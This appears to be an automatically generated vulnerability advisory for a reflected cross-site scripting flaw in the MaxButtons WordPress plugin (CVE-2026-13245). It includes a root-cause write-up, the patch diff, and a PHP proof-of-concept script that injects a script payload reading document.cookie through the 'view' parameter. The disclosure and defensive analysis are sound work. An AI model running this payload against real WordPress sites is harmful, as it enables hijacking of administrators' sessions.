Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-13245: MaxButtons <= 9.8.5 Reflected Cross-Site Scripting via 'view' Parameter PoC, Patch Analysis & Rule

Plugin maxbuttons
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 9.8.5
Patched Version 9.8.6
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13245:

This vulnerability is a reflected cross-site scripting (XSS) flaw in the MaxButtons – Create buttons plugin for WordPress, affecting all versions up to and including 9.8.5. The issue resides in the listController.php file where the ‘view’ parameter is improperly sanitized before being output. An unauthenticated attacker can inject arbitrary web scripts that execute when a victim clicks a crafted link.

The root cause is in maxbuttons/classes/controllers/listController.php at lines 34-41. The vulnerable code uses sanitize_text_field() on the $_GET[“view”] parameter, which strips HTML tags but does not prevent injection of attribute-based XSS payloads when the value is later echoed unescaped into a hidden input field in maxbuttons/includes/maxbuttons-list.php at line 62. The sanitize_text_field() function allows characters like double quotes and ampersands that can break out of HTML attributes. Specifically, line 62 echoes $view->listView directly without esc_attr(), making it possible to inject event handlers or close the input tag.

To exploit this, an attacker crafts a URL such as: http://target.com/wp-admin/admin.php?page=maxbuttons-controller&view=”>alert(document.cookie). When a logged-in administrator visits this link, the malicious script executes in their browser session. The value is stored in the view parameter, sanitized only by sanitize_text_field(), and then output unsafely into the HTML. No authentication is required to trigger the reflection, though the victim must be logged into WordPress admin for the page to render correctly.

The patch in version 9.8.6 changes the logic in listController.php to only allow two specific values: ‘trash’ or ‘all’. If the ‘view’ parameter is anything other than ‘trash’, it defaults to ‘all’. This eliminates the XSS vector entirely by whitelisting permitted values instead of trying to sanitize arbitrary input. Additionally, the patch in maxbuttons-list.php adds esc_attr() around $view->listView in the hidden input field, providing defense-in-depth.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s WordPress admin session. This can lead to theft of session cookies, manipulation of button settings, creation of new admin users (if the victim has sufficient privileges), or redirection to malicious sites. The CVSS score of 6.1 reflects the need for user interaction but the severe impact of XSS in an administrative context.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/maxbuttons/blocks/basic.php
+++ b/maxbuttons/blocks/basic.php
@@ -236,16 +236,15 @@
 			return false;

 		$sql = $wpdb->prepare("SELECT id from $table where name = %s and status = 'publish' and id <> %d ", $name, $button_id);
-
 		$results = $wpdb->get_col($sql);

 		if (count($results) > 0)
 		{
 			$message = __('Button name already used. Using non-unique names with the shortcode can cause issues', 'maxbuttons');
-			$message .=  ' ' . __('Already used in : ');
+			$message .=  ' ' . __('Already used in : ', 'maxbuttons');
 			foreach($results as $id)
 			{
-				$url =  admin_url() . 'admin.php?page=maxbuttons-controller&action=edit&id=' . $id;
+				$url =  admin_url() . 'admin.php?page=maxbuttons-controller&action=edit&id=' . intval($id);
 				$message .= ' <a href="' . esc_attr($url) . '" target="_blank">' . intval($id) . '</a> ';
 			}

@@ -321,7 +320,7 @@
 						$copyno = new maxField('generic');
 						$copyno->label = ' ';
 						$copyno->name = 'prevent-copy-message';
-						$copyno->content = "<p>" . __('<strong>Tip: </strong> You don't need to copy buttons to change URL or Text. See the examples on top of page') . '</p>';
+						$copyno->content = "<p>" . __('<strong>Tip: </strong> You don't need to copy buttons to change URL or Text. See the examples on top of page', 'maxbuttons') . '</p>';
 						$screen->addField($copyno, 'start','end');
 					}

@@ -393,7 +392,7 @@
 					$field_text->name = $field_text->id;
 					$field_text->is_responsive = false;
 					$field_text->value = esc_attr($screen->getValue($field_text->id));
-					$field_text->help = __('Shortcode attribute: text');
+					$field_text->help = __('Shortcode attribute: text', 'maxbuttons');
 					$screen->addField($field_text, 'start', 'end');


--- a/maxbuttons/blocks/responsive.php
+++ b/maxbuttons/blocks/responsive.php
@@ -215,7 +215,7 @@
 		$name->label = __('Screen Name', 'maxbuttons');
 		$name->is_new = true;
 		$name->value = $screen->getValue($name->id);
-		$name->note = __('The internal name for this screen. [optional]');
+		$name->note = __('The internal name for this screen. [optional]', 'maxbuttons');
 		$screen->addField($name, 'start', 'end');

 		$presets = $this->getPresets($screen);
@@ -229,7 +229,7 @@
 		$preset = new maxField('option_select');
 		$preset->id = $screen->getFieldID('preset');
 		$preset->name = $preset->id;
-		$preset->label = __('Select a Preset');
+		$preset->label = __('Select a Preset', 'maxbuttons');
 		$preset->is_new = true;
 		$preset->options = $preset_options;
 		$screen->addField($preset, 'start', '');
@@ -338,7 +338,7 @@
 			$output = "<div class='upgrade-responsive'>";
 			$output .= "<div class='removed-note'>" . __("Save your settings first to remove the screen", 'maxbuttons') . '</div>';
 			$output .= '<p><h4>' . sprintf(__('You already have %s screens. To add more responsive screens to your buttons, upgrade to MaxButtons PRO.', 'maxbuttons'), $screen::countScreens() ) . '</b></h4>';
-			$output .= '<h4>' . __('The best button editor for WordPress includes: ') . '</h4>';
+			$output .= '<h4>' . __('The best button editor for WordPress includes: ', 'maxbuttons') . '</h4>';
 			$output .= '<ul>';
 			$output .= '<li>' . __('Infinite amount of screens', 'maxbuttons') . '</li>';
 			$output .= '<li>' . __('Icons and Images', 'maxbuttons') . '</li>';
--- a/maxbuttons/classes/admin-class.php
+++ b/maxbuttons/classes/admin-class.php
@@ -310,7 +310,7 @@
 		$display_args = array('echo'=> false, 'load_css' => 'inline');
 		$preview = new maxField('generic');
 		$preview->name = 'button-preview';
-		$preview->content = '<h3>' . __('Shortcode Options') . '</h3>
+		$preview->content = '<h3>' . __('Shortcode Options', 'maxbuttons') . '</h3>
 												<p>' . $button->display($display_args) . '</p>
 												<p>' . __('Change the options to add shortcode attributes. ', 'maxbuttons') . '</p>';

--- a/maxbuttons/classes/button.php
+++ b/maxbuttons/classes/button.php
@@ -575,6 +575,7 @@
 		$output = apply_filters('mb-before-button-output', $output);
 		maxButtons::buttonDone(array("button_id" => $this->id, "document_id" => $this->document_id) );

+		$domObj->clear();
 		maxUtils::endTime('button-display-'. $this->id);

 		if ($args["echo"])
--- a/maxbuttons/classes/controllers/editorController.php
+++ b/maxbuttons/classes/controllers/editorController.php
@@ -169,7 +169,7 @@

 		if ($new_button)
 		{
-  	 		wp_redirect($url);
+  	 		wp_safe_redirect($url);
   	 		exit();
 		}

--- a/maxbuttons/classes/controllers/listController.php
+++ b/maxbuttons/classes/controllers/listController.php
@@ -34,8 +34,11 @@

   public function loadView()
   {
-    if (! isset($this->view->listView)) // Can be set by handlePost
-      $this->view->listView = (isset($_GET["view"])) ? sanitize_text_field($_GET["view"]) : "all";
+    if (! isset($this->view->listView))
+    { // Can be set by handlePost
+      $view = isset($_GET['view']) && ($_GET['view'] == 'trash') ? 'trash' : 'all';
+      $this->view->listView = $view;
+    }

     $this->loadButtons();
     $this->view->published_buttons_count = $this->mbadmin->getButtonCount(array());
--- a/maxbuttons/classes/max-utils.php
+++ b/maxbuttons/classes/max-utils.php
@@ -31,11 +31,11 @@

 		$plugin_action = isset($_POST['plugin_action']) ? sanitize_text_field($_POST['plugin_action']) : '';
 		$nonce = isset($_POST['nonce']) ? $_POST['nonce'] : false;
-		$message = __( sprintf("No Handler found for action %s ", $plugin_action), 'maxbuttons');
+		$message = sprintf(__("No Handler found for action %s ",'maxbuttons'), $plugin_action );

 		if (! wp_verify_nonce($nonce, 'maxajax') )
 		{
-			$message = __('Nonce not verified (' . $nonce . ')', 'maxbuttons');
+			$message = sprintf(__('Nonce not verified (%s)', 'maxbuttons'), sanitize_text_field($nonce) );
 		}
 		else
 		{
@@ -394,7 +394,7 @@
 		}

 		// This is a fix specific for NGGallery since they load their scripts weirdly / wrongly, but do check for the presence of a style named 'fontawesome' .
-		wp_register_style('fontawesome', $src);
+		wp_register_style('fontawesome', $src, [], MAXBUTTONS_VERSION_NUM);

 	}

--- a/maxbuttons/classes/maxbuttons-admin-helper.php
+++ b/maxbuttons/classes/maxbuttons-admin-helper.php
@@ -23,12 +23,10 @@
 	{
 		$version = self::getAdVersion();
 		$url = self::getCheckoutURL();
-	?>
+
+		printf(__('Upgrade to MaxButtons Pro today!  %sClick Here%s', 'maxbuttons'), '<a class="simple-btn" href="' . esc_attr($url) . '&utm_source=mbf-dash' . $version . '&utm_medium=mbf-plugin&utm_content=click-here&utm_campaign=cart' . esc_attr($version) . '" target="_blank">', '</a>' );

-			<?php printf(__('Upgrade to MaxButtons Pro today!  %sClick Here%s', 'maxbuttons'), '<a class="simple-btn" href="' . $url . '&utm_source=mbf-dash' . $version . '&utm_medium=mbf-plugin&utm_content=click-here&utm_campaign=cart' . $version . '" target="_blank">', '</a>' ) ?>

-
-	<?php
 	}

 	public static function tab_items_init()
--- a/maxbuttons/classes/maxbuttons-class.php
+++ b/maxbuttons/classes/maxbuttons-class.php
@@ -553,12 +553,12 @@
 				'maxbutton-alpha-picker',
 				'wpColorPickerL10n',
 				array(
-					'clear'            => __( 'Clear' ),
-					'clearAriaLabel'   => __( 'Clear color' ),
-					'defaultString'    => __( 'Default' ),
-					'defaultAriaLabel' => __( 'Select default color' ),
-					'pick'             => __( 'Select Color' ),
-					'defaultLabel'     => __( 'Color value' ),
+					'clear'            => __( 'Clear', 'maxbuttons' ),
+					'clearAriaLabel'   => __( 'Clear color', 'maxbuttons' ),
+					'defaultString'    => __( 'Default', 'maxbuttons' ),
+					'defaultAriaLabel' => __( 'Select default color', 'maxbuttons' ),
+					'pick'             => __( 'Select Color', 'maxbuttons' ),
+					'defaultLabel'     => __( 'Color value', 'maxbuttons' ),
 				)
 			);

--- a/maxbuttons/classes/screen.php
+++ b/maxbuttons/classes/screen.php
@@ -143,7 +143,7 @@
   // add a maxfield to be displayed on the admin.
   public function addfield($field, $start = '', $end = '')
   {
-    $field_id = isset($field->id) ? $field->id : $field->template . rand(0,1000);
+    $field_id = isset($field->id) ? $field->id : $field->template . wp_rand(0,1000);

     // don't add if it's not our screen.
     if (! $this->isFieldThisScreen($field))
--- a/maxbuttons/classes/upgrader/license.php
+++ b/maxbuttons/classes/upgrader/license.php
@@ -77,17 +77,6 @@
 		if ($free_url != '')
 			$args["free_url"] = $free_url;

-		//$api_url = add_query_arg($args, $this->api_url);
-
-		//header('Content-Type: application/json');
-
-		if ($error) // errors before the request
-		{
-			 return $error_body;
-			//echo json_encode($error_body);
-		//	exit();
-		}
-
 		$data = $this->do_api_post($args);

 		if (isset($data->license) && $data->license == 'valid')
@@ -162,37 +151,33 @@
 			switch( $data->error ) {
 					case 'expired' :
 						$message = sprintf(
-							__( 'Your license key expired on %s.', 'maxbuttons-pro' ),
+							__( 'Your license key expired on %s.', 'maxbuttons' ),
 							date_i18n( get_option( 'date_format' ), strtotime( strval($data->expires), current_time( 'timestamp' ) ) )
 						);
 						break;
 					case 'revoked' :
 					case 'disabled' :
-						$message = __( 'Your license key has been disabled.','maxbuttons-pro');
+						$message = __( 'Your license key has been disabled.','maxbuttons');
 						break;
 					case 'missing' :
-						$message = __( 'Invalid license. Please check the license code. ', 'maxbuttons-pro');
+						$message = __( 'Invalid license. Please check the license code. ', 'maxbuttons');
 						break;
 					case 'invalid' :
 					case 'site_inactive' :
-						$message = __( 'Your license is not active for this URL.', 'maxbuttons-pro' );
+						$message = __( 'Your license is not active for this URL.', 'maxbuttons' );
 						break;
 					case 'item_name_mismatch' :
-						$message = sprintf( __( 'This appears to be an invalid license key for %s.', 'maxbuttons-pro' ), 'MaxButtons PRO' );
+						$message = sprintf( __( 'This appears to be an invalid license key for %s.', 'maxbuttons' ), 'MaxButtons PRO' );
 						break;
 					case 'no_activations_left':
-						$message = __( 'Your license key has reached its activation limit.','maxbuttons-pro' );
+						$message = __( 'Your license key has reached its activation limit.','maxbuttons' );
 						break;
 					default :
-						$message = __( 'An error occurred, please try again.', 'maxbuttons-pro' );
+						$message = __( 'An error occurred, please try again.', 'maxbuttons' );
 						break;
 			}
 			$data->additional_info = $message ;
-	//		$result = $new_result;
-
 			return $data;
-		//echo json_encode($result);
-	//	exit();
 	}


--- a/maxbuttons/includes/maxbuttons-list.php
+++ b/maxbuttons/includes/maxbuttons-list.php
@@ -59,7 +59,7 @@
 						<input type="hidden" name="paged" value="<?php echo $view->pageArgs['paged'] ?>" />
 				<?php endif; ?>

-				<input type="hidden" name="view" value="<?php echo $view->listView ?>" />
+				<input type="hidden" name="view" value="<?php echo esc_attr($view->listView) ?>" />
 				<?php wp_nonce_field("mb-list","mb-list-nonce");  ?>

 				<select name="bulk-action-select" id="bulk-action-select">
@@ -76,7 +76,7 @@
 				<input type="submit" class="button" value="<?php _e('Apply', 'maxbuttons') ?>" />

 				<?php if ($view->listView == 'trash'): ?>
-					<button type="button" class='button alignright' value='empty-trash' data-buttonaction='empty-trash' data-confirm="<?php _e('Permanently delete all buttons in trash. Are you sure?', 'maxbuttons-pro') ?>"><?php _e('Empty Trash', 'maxbuttons'); ?></button>
+					<button type="button" class='button alignright' value='empty-trash' data-buttonaction='empty-trash' data-confirm="<?php _e('Permanently delete all buttons in trash. Are you sure?', 'maxbuttons') ?>"><?php _e('Empty Trash', 'maxbuttons'); ?></button>
 				<?php endif; ?>
 	 			<?php do_action("mb-display-pagination", $view->pageArgs, 'top'); ?>

--- a/maxbuttons/includes/maxbuttons-no-simplexml.php
+++ b/maxbuttons/includes/maxbuttons-no-simplexml.php
@@ -10,7 +10,7 @@
 $admin->get_header(array("tabs_active" => true, "title" => $page_title, "title_action" => $action));

 $admin = MB()->getClass('admin');
-$page_title = __("Packs","maxbuttons-pro");
+$page_title = __("Packs","maxbuttons");

 $admin->get_header(array("title" => $page_title) );

--- a/maxbuttons/includes/maxbuttons-support.php
+++ b/maxbuttons/includes/maxbuttons-support.php
@@ -45,7 +45,10 @@

   echo maxbuttons_system_label('MySQL Version:', $mysql_version, 8) ?>

-<?php echo maxbuttons_system_label('Web Server:', $_SERVER['SERVER_SOFTWARE'], 11) ?>
+<?php
+ $software = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '';
+ echo maxbuttons_system_label('Web Server:', esc_html($software)  , 11)
+ ?>

 <?php echo maxbuttons_system_label('WordPress URL:', get_bloginfo('wpurl'), 8) ?>

--- a/maxbuttons/index.php
+++ b/maxbuttons/index.php
@@ -1 +1,2 @@
+<?php
 // silence
--- a/maxbuttons/maxbuttons.php
+++ b/maxbuttons/maxbuttons.php
@@ -1,13 +1,15 @@
 <?php
 /*
-Plugin Name: MaxButtons
+Plugin Name: MaxButtons - Create buttons
 Plugin URI: http://maxbuttons.com
 Description: The best WordPress button generator. This is the free version; the Pro version <a href="http://maxbuttons.com/?ref=mbfree">can be found here</a>.
-Version: 9.8.5
+Version: 9.8.6
 Author: Max Foundry
 Author URI: http://maxfoundry.com
 Text Domain: maxbuttons
 Domain Path: /languages
+License: GPL v2 or later
+

 Copyright 2025 Max Foundry, LLC (http://maxfoundry.com)
 */
@@ -16,9 +18,9 @@
 if (! defined('MAXBUTTONS_ROOT_FILE'))
 	define("MAXBUTTONS_ROOT_FILE", __FILE__);
 if (! defined('MAXBUTTONS_VERSION_NUM'))
-	define('MAXBUTTONS_VERSION_NUM', '9.8.5');
+	define('MAXBUTTONS_VERSION_NUM', '9.8.6');

-define('MAXBUTTONS_RELEASE',"15 September 2025");
+define('MAXBUTTONS_RELEASE',"26 June 2026");

 if (! function_exists('MaxButtonsmaxbutton_double_load'))
 {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13245 - MaxButtons <= 9.8.5 - Reflected Cross-Site Scripting via 'view' Parameter

$target_url = 'http://example.com'; // Change this to the target WordPress URL
$page = '/wp-admin/admin.php?page=maxbuttons-controller';

// XSS payload that triggers an alert with the document's cookies
$payload = '"><script>alert(document.cookie)</script>';

$full_url = $target_url . $page . '&view=' . urlencode($payload);

echo "[*] CVE-2026-13245 Proof of Conceptn";
echo "[*] Target: $full_urlnn";

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxxxx=test'); // Simulating logged-in user (replace with valid cookie)

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    echo "[-] Failed to retrieve the page. HTTP code: $http_coden";
    exit(1);
}

// Check if the payload appears unescaped in the response
if (strpos($response, $payload) !== false) {
    echo "[+] Vulnerability confirmed! XSS payload reflected in the response.n";
} else {
    echo "[-] Payload not found in response. The target may be patched or the page requires authentication.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School